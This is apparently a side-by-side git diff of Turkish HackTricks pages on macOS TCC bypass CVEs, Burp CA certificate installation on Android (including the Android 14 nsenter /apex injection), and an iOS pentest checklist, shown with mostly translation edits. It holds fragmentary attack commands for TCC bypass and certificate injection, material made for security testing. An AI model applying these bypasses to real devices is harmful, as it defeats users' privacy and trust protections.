### CVE-2020-27937 - Directory Utility ### CVE-2020-27937 - Directory Utility
Uygulama `/System/Library/CoreServices/Applications/Directory Utility.app`, **`kTCCServiceSystemPolicySysAdminFiles`** yetkisine sahipti, **`.daplug`** uzantılı eklentiler yüklüydü ve **sertleştirilmiş** çalışma zamanına sahip değildi. Uygulama `/System/Library/CoreServices/Applications/Directory Utility.app`, **`kTCCServiceSystemPolicySysAdminFiles`** yetkisine sahipti, **`.daplug`** uzantılı eklentileri yüklüyordu ve **sertleştirilmiş** çalışma zamanına sahip değildi.
Bu CVE'yi silahlaştırmak için, **`NFSHomeDirectory`** değiştirilir (önceki yetkiyi kötüye kullanarak) ve TCC'yi atlatmak için kullanıcıların TCC veritabanını ele geçirebilmek için **değiştirilir**. Bu CVE'yi silahlandırmak için, **`NFSHomeDirectory`** (önceki yetkiyi kötüye kullanarak) **değiştirildi**, böylece TCC'yi atlatmak için kullanıcıların TCC veritabanını ele geçirebilmek mümkün hale geldi.
Daha fazla bilgi için [**orijinal rapora**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/) bakın. Daha fazla bilgi için [**orijinal rapora**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/) bakın.
### CVE-2020-29621 - Coreaudiod ### CVE-2020-29621 - Coreaudiod
**`/usr/sbin/coreaudiod`** ikili dosyasının ayrıcalıkları `com.apple.security.cs.disable-library-validation` ve `com.apple.private.tcc.manager` idi. İlk ayrıcalık **kod enjeksiyonuna izin verirken**, ikinci ayrıcalık **TCC'yi yönetme erişimi sağlıyordu**. **`/usr/sbin/coreaudiod`** ikili dosyasının ayrıcalıkları `com.apple.security.cs.disable-library-validation` ve `com.apple.private.tcc.manager` idi. İlk ayrıcalık **kod enjeksiyonuna izin verirken**, ikinci ayrıcalık ise **TCC'yi yönetme erişimi sağlıyordu**.
Bu ikili dosya, `/Library/Audio/Plug-Ins/HAL` klasöründen **üçüncü taraf eklentileri yüklemeye izin veriyordu**. Bu nedenle, bu PoC ile **bir eklenti yüklemek ve TCC izinlerini kötüye kullanmak mümkündü**: Bu ikili dosya, `/Library/Audio/Plug-Ins/HAL` klasöründen **üçüncü taraf eklentileri yüklemeye izin veriyordu**. Bu nedenle, bu PoC ile **bir eklenti yüklemek ve TCC izinlerini kötüye kullanmak mümkündü**:
```objectivec ```objectivec
@ -357,13 +357,13 @@ Daha fazla bilgi için bu [**orijinal raporu kontrol edin**](https://wojciechreg
### CVE-2020-10006 ### CVE-2020-10006
`/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` ikili dosyasında **`com.apple.private.tcc.allow`** ve **`com.apple.security.get-task-allow`** yetkileri vardı, bu da işlem içine kod enjekte etmeye ve TCC ayrıcalıklarını kullanmaya olanak tanıdı. `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` ikili dosyasında **`com.apple.private.tcc.allow`** ve **`com.apple.security.get-task-allow`** yetkileri vardı, bu da süreç içine kod enjekte etmeye ve TCC ayrıcalıklarını kullanmaya olanak tanıdı.
### CVE-2023-26818 - Telegram ### CVE-2023-26818 - Telegram
Telegram'da **`com.apple.security.cs.allow-dyld-environment-variables`** ve **`com.apple.security.cs.disable-library-validation`** yetkileri vardı, bu nedenle kamerayla kayıt yapma gibi izinlere **erişmek mümkündü**. [**Payload'ı yazıda bulabilirsiniz**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/). Telegram'ın **`com.apple.security.cs.allow-dyld-environment-variables`** ve **`com.apple.security.cs.disable-library-validation`** yetkileri vardı, bu nedenle kamerayla kayıt yapma gibi izinlere erişmek mümkündü. [**Payload'ı yazıda bulabilirsiniz**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
Ortam değişkenini kullanmak için bir kütüphane yüklemek için bir **özel plist** oluşturuldu ve bunu enjekte etmek için **`launchctl`** kullanıldı: Ortam değişkenini kullanmak için bir kütüphane yüklemek için **özel bir plist** oluşturuldu ve bunu enjekte etmek için **`launchctl`** kullanıldı:
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -399,7 +399,7 @@ Kumlanmışken bile **`open`** çağrısı yapmak mümkündür.
### Terminal Betikleri ### Terminal Betikleri
Terminal **Tam Disk Erişimi (TDE)** vermek oldukça yaygındır, en azından teknik kişiler tarafından kullanılan bilgisayarlarda. Ve **`.terminal`** betiklerini bu erişimle kullanmak mümkündür. Terminal'e **Tam Disk Erişimi (TDE)** vermek oldukça yaygındır, en azından teknik kişiler tarafından kullanılan bilgisayarlarda. Ve **`.terminal`** betiklerini bu erişimle çağırmak mümkündür.
**`.terminal`** betikleri, **`CommandString`** anahtarında yürütülecek komutla birlikte olan bu örnekteki gibi plist dosyalarıdır: **`.terminal`** betikleri, **`CommandString`** anahtarında yürütülecek komutla birlikte olan bu örnekteki gibi plist dosyalarıdır:
```xml ```xml
@ -430,12 +430,12 @@ task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe; exploit_location]; task.standardOutput = pipe;
[task launch]; [task launch];
``` ```
## Montaj Yoluyla ## Bağlama Yoluyla
### CVE-2020-9771 - mount\_apfs TCC atlatma ve ayrıcalık yükseltme ### CVE-2020-9771 - mount\_apfs TCC atlatma ve ayrıcalık yükseltme
**Herhangi bir kullanıcı** (hatta ayrıcalıklı olmayanlar bile) bir zaman makinesi anı görüntüsü oluşturabilir ve monte edebilir ve o anı görüntüsündeki **TÜM dosyalara erişebilir**.\ **Herhangi bir kullanıcı** (hatta ayrıcalıksız olanlar bile) bir zaman makinesi anı görüntüsü oluşturabilir ve bağlayabilir ve o anı görüntüsündeki **TÜM dosyalara erişebilir**.\
Kullanılan uygulamanın (örneğin `Terminal`) **Tam Disk Erişimi** (FDA) erişimine sahip olması gereken **tek ayrıcalık** (`kTCCServiceSystemPolicyAllfiles`) bir yönetici tarafından verilmelidir. Kullanılan uygulamanın (örneğin `Terminal`) **Tam Disk Erişimi** (FDA) erişimine sahip olması gereken **tek ayrıcalık**, bunun bir yönetici tarafından verilmesi gereken (`kTCCServiceSystemPolicyAllfiles`) ayrıcalıktır.
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -461,7 +461,7 @@ ls /tmp/snap/Users/admin_user # This will work
Daha detaylı bir açıklama [**orijinal raporda bulunabilir**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.** Daha detaylı bir açıklama [**orijinal raporda bulunabilir**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
### CVE-2021-1784 & CVE-2021-30808 - TCC dosyası üzerinden Mount ### CVE-2021-1784 & CVE-2021-30808 - TCC dosyası üzerinden Mount işlemi
TCC DB dosyası korunsa bile, yeni bir TCC.db dosyasını **dizin üzerine mount etmek** mümkündü: TCC DB dosyası korunsa bile, yeni bir TCC.db dosyasını **dizin üzerine mount etmek** mümkündü:
```bash ```bash
@ -493,7 +493,7 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
### Konum Hizmetleri ### Konum Hizmetleri
**`/var/db/locationd/clients.plist`** içinde üçüncü bir TCC veritabanı bulunur ve burada **konum hizmetlerine erişime izin verilen istemciler** belirtilir.\ **`/var/db/locationd/clients.plist`** içinde üçüncü bir TCC veritabanı bulunur ve burada **konum hizmetlerine erişime izin verilen istemciler** belirtilir.\
**`/var/db/locationd/` klasörü DMG bağlama korumasından yoksundu** bu yüzden kendi plist'imizi bağlamak mümkündü. **`/var/db/locationd/` klasörü DMG bağlama koruması olmadığından** kendi plist'imizi bağlamak mümkündü.
## Başlangıç uygulamalarıyla ## Başlangıç uygulamalarıyla
@ -503,7 +503,7 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
## Grep ile ## Grep ile
Çeşitli durumlarda dosyalar hassas bilgileri (e-postalar, telefon numaraları, mesajlar...) korunmayan konumlarda saklar (bu da Apple için bir zayıflık olarak kabul edilir). Bazı durumlarda dosyalar hassas bilgileri (e-postalar, telefon numaraları, mesajlar...) korunmayan konumlarda saklarlar (bu da Apple için bir zayıflık olarak kabul edilir).
<figure><img src="../../../../../.gitbook/assets/image (4) (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../../.gitbook/assets/image (4) (3).png" alt=""><figcaption></figcaption></figure>
@ -511,11 +511,11 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
Bu artık çalışmıyor, ancak [**geçmişte çalışıyordu**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:** Bu artık çalışmıyor, ancak [**geçmişte çalışıyordu**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Başka bir yol [**CoreGraphics olayları kullanarak**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf): Başka bir yol [**CoreGraphics olayları kullanarak**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf):
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
## Referans ## Referans

View file

@ -2,11 +2,11 @@
<details> <details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan ileri seviye AWS hackleme becerilerini öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
@ -20,7 +20,7 @@ HackTricks'ı desteklemenin diğer yolları:
![](<../../.gitbook/assets/image (367).png>) ![](<../../.gitbook/assets/image (367).png>)
Sertifikayı **Der formatında dışa aktarın** ve **Android'in anlayabileceği bir forma dönüştürelim**. **AVD'deki Android makinesinde burp sertifikasını yapılandırmak için** bu makineyi **`-writable-system`** seçeneğiyle **çalıştırmanız gerektiğini unutmayın.**\ **Sertifikayı Der formatında dışa aktarın** ve **Android'in anlayabileceği bir forma dönüştürelim.** **AVD'deki Android makinesinde burp sertifikasını yapılandırmak için** bu makineyi **`-writable-system`** seçeneğiyle **çalıştırmanız gerekmektedir.**\
Örneğin şu şekilde çalıştırabilirsiniz: Örneğin şu şekilde çalıştırabilirsiniz:
{% code overflow="wrap" %} {% code overflow="wrap" %}
@ -52,31 +52,31 @@ Eğer cihazınızı Magisc ile rootladıysanız (belki bir emülatör), ve **dos
[**Bu video**](https://www.youtube.com/watch?v=qQicUW0svB8)da açıklandığı gibi şunları yapmanız gerekmektedir: [**Bu video**](https://www.youtube.com/watch?v=qQicUW0svB8)da açıklandığı gibi şunları yapmanız gerekmektedir:
1. **Bir CA sertifikası yükleyin**: DER Burp sertifikasını `.crt` uzantısına **değiştirerek** mobil cihaza **sürükleyip bırakın** ve İndirilenler klasörüne kaydedin, ardından `Bir sertifika yükle` -> `CA sertifikası` seçeneğine gidin 1. **Bir CA sertifikası yükleyin**: DER Burp sertifikasını `.crt` uzantısına **değiştirerek** mobil cihaza sürükleyip bırakın, böylece İndirilenler klasöründe saklanır ve `Sertifika yükle` -> `CA sertifikası`'na gidin
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
* Sertifikanın doğru bir şekilde kaydedildiğinden emin olmak için `Güvenilir kimlik bilgileri` -> `KULLANICI` bölümüne gidin * Sertifikanın doğru bir şekilde saklandığını kontrol edin, `Güvenilir kimlik bilgileri` -> `KULLANICI`'ya gidin
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Sistemde güvenilir hale getirin**: Magisc modülünü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (bir .zip dosyası) indirin, telefonunuza **sürükleyip bırakın**, telefonunuzdaki Magics uygulamasına gidin, **`Modüller`** bölümüne tıklayın, **`Depodan yükle`**'yi seçin, `.zip` modülünü seçin ve kurulumu tamamladıktan sonra telefonu **yeniden başlatın**: 2. **Sistemde güvenilir hale getirin**: Magisc modülünü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (bir .zip dosyası) indirin, telefonunuza sürükleyip bırakın, telefonda **Magics uygulamasına** gidin, **`Modüller`** bölümüne gidin, **`Depodan yükle`**'yi tıklayın, `.zip` modülünü seçin ve kurulum tamamlandıktan sonra telefonu **yeniden başlatın**:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
* Yeniden başlattıktan sonra, `Güvenilir kimlik bilgileri` -> `SİSTEM` bölümüne gidin ve Postswigger sertifikasının orada olduğunu kontrol edin * Yeniden başlatıldıktan sonra, `Güvenilir kimlik bilgileri` -> `SİSTEM`'e gidin ve Postswigger sertifikasının orada olduğunu kontrol edin
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
## Android 14 Sonrası ## Android 14 Sonrası
En son Android 14 sürümünde, sistem-güvenilir Sertifika Yetkilisi (CA) sertifikalarının işlenişinde önemli bir değişiklik gözlemlenmiştir. Önceden, bu sertifikalar **`/system/etc/security/cacerts/`** dizininde bulunur ve kök ayrıcalıklarına sahip kullanıcılar tarafından erişilebilir ve değiştirilebilirdi, bu da sisteme hemen uygulanmasına olanak tanırdı. Ancak, Android 14 ile, depolama yeri **`/apex/com.android.conscrypt/cacerts`** olarak **taşınmıştır**, bu da doğası gereği değiştirilemez olan **`/apex`** yolundaki bir dizindir. En son Android 14 sürümünde, sistem-güvenilir Sertifika Yetkilisi (CA) sertifikalarının işlenişinde önemli bir değişiklik gözlemlenmiştir. Önceden, bu sertifikalar **`/system/etc/security/cacerts/`** dizininde bulunur ve kök ayrıcalıklarına sahip kullanıcılar tarafından erişilebilir ve değiştirilebilirdi, bu da sisteme hemen uygulanmasına olanak tanırdı. Ancak, Android 14 ile, depolama yeri **`/apex/com.android.conscrypt/cacerts`** olarak değiştirilmiştir, bu da doğası gereği değiştirilemez olan **`/apex`** yolundaki bir dizindir.
**APEX cacerts yolunu** yazılabilir hale getirmek için yapılan denemeler başarısızlıkla karşılanır, çünkü sistem bu tür işlemlere izin vermez. Dizin üzerindeki **PRIVATE** yayılma kaldırılmaya çalışılsa bile, bu değişikliklerin etkisiz olduğu görülür; uygulamalar, dosya sistemi seviyesindeki değişikliklere rağmen orijinal sertifika verilerine erişmeye devam eder. Bu direnç, **`/apex`** bağlantısının **PRIVATE** yayılma ile yapılandırılmasından kaynaklanır, bu da **`/apex`** dizinindeki değişikliklerin diğer işlemleri etkilememesini sağlar. **APEX cacerts yolunu** yazılabilir hale getirmeye yönelik girişimler başarısızlıkla karşılaşır, çünkü sistem bu tür işlemlere izin vermez. Dizin üzerine geçici bir dosya sistemi (tmpfs) ile aşma veya kaldırma girişimleri bile değiştirilemezliği atlatmaz; uygulamalar, dosya sistemi seviyesinde yapılan değişikliklere rağmen orijinal sertifika verilerine erişmeye devam eder. Bu direnç, **`/apex`** bağının ÖZEL yayılma ile yapılandırılmış olmasından kaynaklanmaktadır, bu da **`/apex`** dizinindeki değişikliklerin diğer işlemleri etkilememesini sağlar.
Android'in başlatılması, işletim sistemini başlatan `init` işlemiyle başlar ve aynı zamanda Zygote işlemini başlatır. Bu işlem, yeni bir bağlama ad alanı içeren bir Zygote işlemi ile uygulama işlemlerini başlatma sorumluluğunu üstlenir, bu da bu dizindeki değişiklikleri diğer işlemlerden izole eder. Android'in başlatılması, işletim sistemini başlatırken aynı zamanda Zygote işlemini başlatan `init` işlemiyle başlar. Bu işlem, yeni bir bağlama ad alanı içeren Zygote işlemini başlatarak uygulama işlemlerini başlatma sorumluluğunu üstlenir, bu da bu dizindeki değişiklikleri diğer işlemlerden izole eder.
Yine de, **`/apex`** dizinindeki sistem-güvenilir CA sertifikalarını değiştirmek isteyenler için bir çözüm bulunmaktadır. Bu, **`/apex`**'i elle **yeniden bağlama** işlemiyle **PRIVATE** yayılmayı kaldırarak yazılabilir hale getirmeyi içerir. Bu süreç, **`/apex/com.android.conscrypt`** içeriğini başka bir konuma kopyalamayı, **`/apex/com.android.conscrypt`** dizinini bağlamayı kaldırmayı ve ardından içeriği orijinal konumlarına **`/apex`** içinde geri yüklemeyi gerektirir. Bu yaklaşım, sistem çökmelerini önlemek için hızlı bir şekilde hareket etmeyi gerektirir. Bu değişikliklerin sistem genelinde uygulanmasını sağlamak için `system_server`'ı yeniden başlatmanız önerilir, bu da tüm uygulamaları yeniden başlatır ve sistemi tutarlı bir duruma getirir. Yine de, **`/apex`** dizinindeki sistem-güvenilir CA sertifikalarını değiştirmek isteyenler için bir çözüm bulunmaktadır. Bu, **`/apex`**'i özel yayılmasını kaldırarak yazılabilir hale getirmek için manuel olarak yeniden bağlamayı içerir. Bu süreç, **`/apex/com.android.conscrypt`** içeriğini başka bir konuma kopyalamayı, **`/apex/com.android.conscrypt`** dizinini bağlamayı kaldırmayı ve ardından içeriği orijinal konumlarına **`/apex`** içinde geri yüklemeyi gerektirir. Bu yaklaşım, sistem çökmelerini önlemek için hızlı bir şekilde hareket etmeyi gerektirir. Bu değişikliklerin sistem genelinde uygulanmasını sağlamak için `system_server`'ı yeniden başlatmanız önerilir, bu da tüm uygulamaları yeniden başlatır ve sistemi tutarlı bir duruma getirir.
```bash ```bash
# Create a separate temp directory, to hold the current certificates # Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore. # Otherwise, when we add the mount we can't read the current certs anymore.
@ -140,14 +140,14 @@ echo "System certificate injected"
```bash ```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts mount -t tmpfs tmpfs /system/etc/security/cacerts
``` ```
2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizinin kurulumunu takiben, kullanmayı amaçladığınız CA sertifikaları bu dizine kopyalanmalıdır. Bu, varsayılan sertifikaların `/apex/com.android.conscrypt/cacerts/` dizininden kopyalanmasını gerektirebilir. Bu sertifikaların izinleri ve SELinux etiketleri uygun şekilde ayarlanmalıdır. 2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizinin kurulumunu takiben, kullanmayı amaçladığınız CA sertifikaları bu dizine kopyalanmalıdır. Bu, varsayılan sertifikaların `/apex/com.android.conscrypt/cacerts/` dizininden kopyalanmasını gerektirebilir. Bu sertifikaların izinleri ve SELinux etiketleri uygun şekilde ayarlanması önemlidir.
3. **Zygote için Bağlama Montajı**: `nsenter` kullanılarak, Zygote'un bağlama ad alanına girilir. Android uygulamalarını başlatmakla sorumlu olan Zygote, bundan sonra başlatılan tüm uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için bu adımı gerektirir. Kullanılan komut şudur: 3. **Zygote İçin Bağlama Bağlama**: `nsenter` kullanılarak, Zygote'un bağlama ad alanına girilir. Android uygulamalarını başlatmakla sorumlu olan Zygote, bundan sonra başlatılan tüm uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için bu adımı gerektirir. Kullanılan komut şudur:
```bash ```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
``` ```
Bu, her yeni uygulamanın güncellenmiş CA sertifikaları kurulumuna uyacağını sağlar. Bu, her yeni uygulamanın güncellenmiş CA sertifikaları kurulumuna uyacağını sağlar.
4. **Çalışan Uygulamalara Değişiklikler Uygulama**: Zaten çalışan uygulamalara değişiklikleri uygulamak için, `nsenter` tekrar kullanılarak her uygulamanın ad alanına bireysel olarak girilir ve benzer bir bağ montajı gerçekleştirilir. Gerekli komut şudur: 4. **Çalışan Uygulamalara Değişiklikler Uygulama**: Zaten çalışan uygulamalara değişiklikleri uygulamak için, `nsenter` tekrar kullanılarak her uygulamanın ad alanına bireysel olarak girilir ve benzer bir bağlama işlemi gerçekleştirilir. Gerekli komut şudur:
```bash ```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
``` ```

View file

@ -1,30 +1,30 @@
# iOS Pentesting Checklist # iOS Pentesting Checklist
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Hemen Erişim Alın: Hemen Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan Kahramana AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklam vermek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [Discord grubumuza](https://discord.gg/hRep4RUj7f)** veya [telegram grubumuza](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**. * **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -33,7 +33,7 @@ HackTricks'ı desteklemenin diğer yolları:
### Hazırlık ### Hazırlık
* [ ] [**iOS Temelleri**](ios-pentesting/ios-basics.md)ni okuyun * [ ] [**iOS Temelleri**](ios-pentesting/ios-basics.md)ni okuyun
* [ ] [**iOS Test Ortamınızı**](ios-pentesting/ios-testing-environment.md) hazırlayın * [ ] [**iOS Test Ortamınızı**](ios-pentesting/ios-testing-environment.md) hazırlayarak ortamınızı hazırlayın
* [ ] Bir iOS uygulamasını pentest etmek için yaygın eylemleri öğrenmek için [**iOS Başlangıç Analizi**](ios-pentesting/#initial-analysis) bölümlerini okuyun * [ ] Bir iOS uygulamasını pentest etmek için yaygın eylemleri öğrenmek için [**iOS Başlangıç Analizi**](ios-pentesting/#initial-analysis) bölümlerini okuyun
### Veri Depolama ### Veri Depolama
@ -48,7 +48,7 @@ HackTricks'ı desteklemenin diğer yolları:
* [ ] [**Önbellek verileri**](ios-pentesting/#cache) hassas bilgileri depolayabilir * [ ] [**Önbellek verileri**](ios-pentesting/#cache) hassas bilgileri depolayabilir
* [ ] [**Otomatik anlık görüntüler**](ios-pentesting/#snapshots) görsel hassas bilgileri kaydedebilir * [ ] [**Otomatik anlık görüntüler**](ios-pentesting/#snapshots) görsel hassas bilgileri kaydedebilir
* [ ] [**Anahtarlık**](ios-pentesting/#keychain) genellikle telefonu yeniden satarken bırakılabilecek hassas bilgileri depolamak için kullanılır. * [ ] [**Anahtarlık**](ios-pentesting/#keychain) genellikle telefonu yeniden satarken bırakılabilecek hassas bilgileri depolamak için kullanılır.
* [ ] Özetle, uygulama tarafından dosya sistemine kaydedilen hassas bilgileri **kontrol edin** * [ ] Özetle, sadece **uygulama tarafından dosya sistemine kaydedilen hassas bilgileri kontrol edin**
### Klavyeler ### Klavyeler
@ -59,19 +59,19 @@ HackTricks'ı desteklemenin diğer yolları:
* [ ] [**Hassas bilgilerin kaydedilip kaydedilmediğini**](ios-pentesting/#logs) kontrol edin * [ ] [**Hassas bilgilerin kaydedilip kaydedilmediğini**](ios-pentesting/#logs) kontrol edin
### Yedeklemeler ### Yedekler
* [ ] [**Yedeklemeler**](ios-pentesting/#backups) dosya sistemine kaydedilen hassas bilgilere **erişmek** için kullanılabilir (bu kontrol listesinin başlangıç noktasını kontrol edin) * [ ] [**Yedekler**](ios-pentesting/#backups) dosya sistemine kaydedilen hassas bilgilere erişmek için kullanılabilir (bu kontrol listesinin başlangıç noktasını kontrol edin)
